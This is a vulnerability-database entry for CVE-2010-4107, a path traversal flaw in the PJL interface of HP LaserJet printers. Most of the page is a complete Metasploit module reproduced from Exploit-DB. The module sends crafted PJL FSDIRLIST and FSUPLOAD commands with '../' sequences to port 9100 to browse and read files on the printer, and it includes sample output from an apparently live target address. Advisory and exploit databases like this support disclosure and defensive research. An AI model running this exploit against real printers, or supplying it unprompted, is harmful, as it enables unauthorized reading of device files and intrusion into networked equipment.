CVE-2010-4107

high
Published 2010-11-17 ยท Modified 2026-04-29
CVSS v3
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CVSS v4 NEW
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not yet in upstream
VIR risk
8.8

Description

The default configuration of the PJL Access value in the File System External Access settings on HP LaserJet MFP printers, Color LaserJet MFP printers, and LaserJet 4100, 4200, 4300, 5100, 8150, and 9000 printers enables PJL commands that use the device's filesystem, which allows remote attackers to read arbitrary files via a command inside a print job, as demonstrated by a directory traversal attack.

Predictions

Exploit likelihood
20%
Patch ETA
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Mitigations

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Exploits

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Exploit-DB

EDB-32990 webapps hardware
@0x00string ยท 2014-04-23

HP Laser Jet - JavaScript Persistent Cross-Site Scripting via PJL Directory Traversal

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EDB-17635 remote hardware text ยท 8 KB
Myo Soe ยท 2011-08-07

HP JetDirect PJL - Interface Universal Directory Traversal (Metasploit)

text exploit Source: Exploit-DB
# Exploit Title: HP JetDirect PJL Interface Universal Path Traversal
# Date: Aug 7, 2011
# Author: Myo Soe <YGN Ethical Hacker Group - http://yehg.net/>
# Software Link: http://www.hp.com
# Version: All
# Tested on: HP LaserJet Pxxxx Series

##
# $Id: $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


##
# Sample Output:
# 
#
# msf auxiliary(hp_printer_pjl_traversal) > show options
# 
# Module options (auxiliary/admin/hp_printer_pjl_traversal):
# 
#    Name         Current Setting  Required  Description
#    ----         ---------------  --------  -----------
#    INTERACTIVE  false            no        Enter interactive mode [msfconsole Only]
#    RHOST        202.138.16.21    yes       The target address
#    RPATH        /                yes       The remote filesystem path to browse or read
#    RPORT        9100             yes       The target port
# 
# 
# msf auxiliary(hp_printer_pjl_traversal) > run
# 
# [*] cd / ...
# [+] Server returned the following response:
# 
# . TYPE=DIR
# .. TYPE=DIR
# bin TYPE=DIR
# usr TYPE=DIR
# etc TYPE=DIR
# hpmnt TYPE=DIR
# hp TYPE=DIR
# lib TYPE=DIR
# dev TYPE=DIR
# init TYPE=FILE SIZE=9016
# .profile TYPE=FILE SIZE=834
# tmp TYPE=DIR
# 
# 
# msf auxiliary(hp_printer_pjl_traversal) > set INTERACTIVE true
# INTERACTIVE => true
# msf auxiliary(hp_printer_pjl_traversal) > set RPATH /hp
# RPATH => /hp
# msf auxiliary(hp_printer_pjl_traversal) > run
# 
# [*] Entering interactive mode ...
# [*] cd /hp ...
# [+] Server returned the following response:
# 
# . TYPE=DIR
# .. TYPE=DIR
# app TYPE=DIR
# lib TYPE=DIR
# bin TYPE=DIR
# webServer TYPE=DIR
# images TYPE=DIR
# DemoPage TYPE=DIR
# loc TYPE=DIR
# AsianFonts TYPE=DIR
# data TYPE=DIR
# etc TYPE=DIR
# lrt TYPE=DIR
# 
# [*] Current RPATH: /hp
# [*] -> 'quit' to exit
# [*] ->'/' to return to file system root
# [*] ->'..' to move up to one directory
# [*] ->'!r FILE' to read FILE on current directory
# 
# [*] Enter RPATH:
# $ > webServer/config
# [*] cd /hp/webServer/config ...
# [+] Server returned the following response:
# 
# . TYPE=DIR
# .. TYPE=DIR
# soe.xml TYPE=FILE SIZE=23615
# version.6 TYPE=FILE SIZE=45
# 
# 
# [*] Current RPATH: /hp/webServer/config
# [*] -> 'quit' to exit
# [*] ->'/' to return to file system root
# [*] ->'..' to move up to one directory
# [*] ->'!r FILE' to read FILE on current directory
# 
# [*] Enter RPATH:
# $ > !r version.6
# [*] cat /hp/webServer/config/version.6 ...
# [+] Server returned the following response:
# 
# WebServer directory version.  Do not delete!
# 
# 
# [*] Current RPATH: /hp/webServer/config
# [*] -> 'quit' to exit
# [*] ->'/' to return to file system root
# [*] ->'..' to move up to one directory
# [*] ->'!r FILE' to read FILE on current directory
# 
# [*] Enter RPATH:
# $ > quit
# [*] Exited ... Have fun with your Printer!
# [*] Auxiliary module execution completed



require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::Tcp

	def initialize(info={})
		super(update_info(info,
			'Name'        => 'HP JetDirect PJL Interface Universal Path Traversal',
			'Version'     => '$Revision: 1 $',
			'Description'	=> %q{
				This module exploits path traveresal issue in possibly all HP network-enabled printer series, especially those which enable Printer Job Language (aka PJL) command interface through the default JetDirect port 9100. 
				With the decade-old dot-dot-slash payloads, the entire printer file system can be accessed or modified.
			},
			'Author'      => [
					'Moritz Jodeit <http://www.nruns.com/>', # Bug Discoverer
					'Myo Soe <YGN Ethical Hacker Group, http://yehg.net/>' # Metasploit Module					
					],
			'License'     => MSF_LICENSE,
			'References'     =>
			[
				[ 'CVE', '2010-4107' ],
				[ 'URL', 'http://www.nruns.com/_downloads/SA-2010%20003-Hewlett-Packard.pdf' ],				
				[ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02004333' ],				
				[ 'URL', 'http://www.irongeek.com/i.php?page=security/networkprinterhacking' ],
				[ 'URL', 'https://github.com/urbanadventurer/WhatWeb/blob/master/plugins/HP-laserjet-printer.rb' ],
				[ 'URL', 'https://github.com/urbanadventurer/WhatWeb/blob/master/plugins/HP-OfficeJet-Printer.rb' ],
				[ 'URL', 'http://core.yehg.net/lab/#tools.exploits' ]
			],
			'DisclosureDate' => '2010-11-15'))
		
		register_options(
		[

			OptString.new('RPATH',
					[
						true,
						"The remote filesystem path to browse or read",
						"/"
					]
				),
			OptBool.new('INTERACTIVE',
								[
									false,
									"Enter interactive mode [msfconsole Only]",
									false
								]
							),
				
			Opt::RPORT(9100)
		],self.class)
		

	end

	def run
		mode = datastore['INTERACTIVE']

		if mode	== true
			set_interactive(datastore['RPATH'])
		else
			set_onetime(datastore['RPATH'])
		end
	end
	
	def set_interactive(spath)
		action = 'DIR'
		rpath =  spath
		rfpath = ''
		tmp_path = ''
		tmp_file = ''
		cur_dir = '/'
		
		print_status("Entering interactive mode")
		stop = false
		
		set_onetime(rpath)
		
		until stop == true		
			print_status("Current RPATH: #{rpath}")
			print_status("-> 'quit' to exit")
			print_status("->'/' to return to file system root")
			print_status("->'..' to move up to one directory")
			print_status("->'!r FILE' to read FILE on current directory\r\n")
			print_status("Enter RPATH:")
			print("$ > ")

			tmp_path = gets.chomp.to_s	
			

			if tmp_path =~ /\.\./ && rpath.length > 2
				old_path = rpath
				new_path = rpath[0,rpath.rindex('/')]
				if new_path != nil
					rpath = new_path
				else
					rpath = '/'
				end
				rpath = '/' if rpath.length == 0
				print_status("Change to one up directory: #{rpath}")
			elsif tmp_path =~ /\!r\s/	
				cur_dir = rpath
				tmp_file = tmp_path.gsub('!r ','')
				rfpath = cur_dir + '/' + tmp_file
				rfpath = rfpath.gsub('//','/')	
				action = 'FILE'
				
			elsif tmp_path == '/'
				rpath = '/'
			elsif rpath != '/' 
			   	rpath = rpath + '/' << tmp_path
			else
				rpath = rpath  << tmp_path
			end
			if rpath =~ /quit/
				stop= true
				rpath = '/'
				print_status("Exited ... Have fun with your Printer!")
			else
				rpath = rpath.gsub('//','/')	
				if action == 'FILE'
					set_onetime(rfpath,action)
					cur_dir = rpath
				else
					set_onetime(rpath,action)
				end
				action = 'DIR'	
			end
		end
	end 
	
	def set_onetime(spath,saction =  datastore['ACTION'])
		
		rpathx  = spath
		action = saction
		rpathx = '/' if rpathx =~ /\/quit/

		connect
		
		dir_cmd = "\x1b%-12345X@PJL FSDIRLIST NAME=\"0:/../../../[REPLACE]\" ENTRY=1 COUNT=99999999\x0d\x0a\x1b%-12345X\x0d\x0a"
		file_cmd = "\x1b%-12345X@PJL FSUPLOAD NAME=\"0:/../../../[REPLACE]\" OFFSET=0 SIZE=99999999\x0d\x0a\x1b%-12345X\x0d\x0a"
		
		if action =~ /DIR/ 
			r_cmd = dir_cmd.sub("[REPLACE]",rpathx)
			print_status("cd #{rpathx} ...")
		else 
			r_cmd = file_cmd.sub("[REPLACE]",rpathx)
			print_status("cat #{rpathx} ...")	
		end 
		
 		
		
		recv = sock.put(r_cmd)
		res = sock.get(-1,1)
		
		if (!res)
			print_error("ERROR in receiving data!\r\n")
		else
			if res.to_s =~ /ERROR/ 
				print_error("Operation Not Permitted or File/DIR Not Found!\r\n")
				disconnect
				return
			end
			resx = res.to_s[res.index("\r\n")+1,res.length]
			print_good("Server returned the following response:\r\n#{resx}")
		end
		
		disconnect	
	
	end


end
EDB-17636 remote hardware
Myo Soe ยท 2011-08-07

HP JetDirect PJL - Query Execution (Metasploit)

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EDB-15631 remote hardware verified
n.runs AG ยท 2010-11-29

HP LaserJet - Directory Traversal in PJL Interface

Source code queued for fetch โ€” refresh in a moment.

References

CWEs

CWE-22

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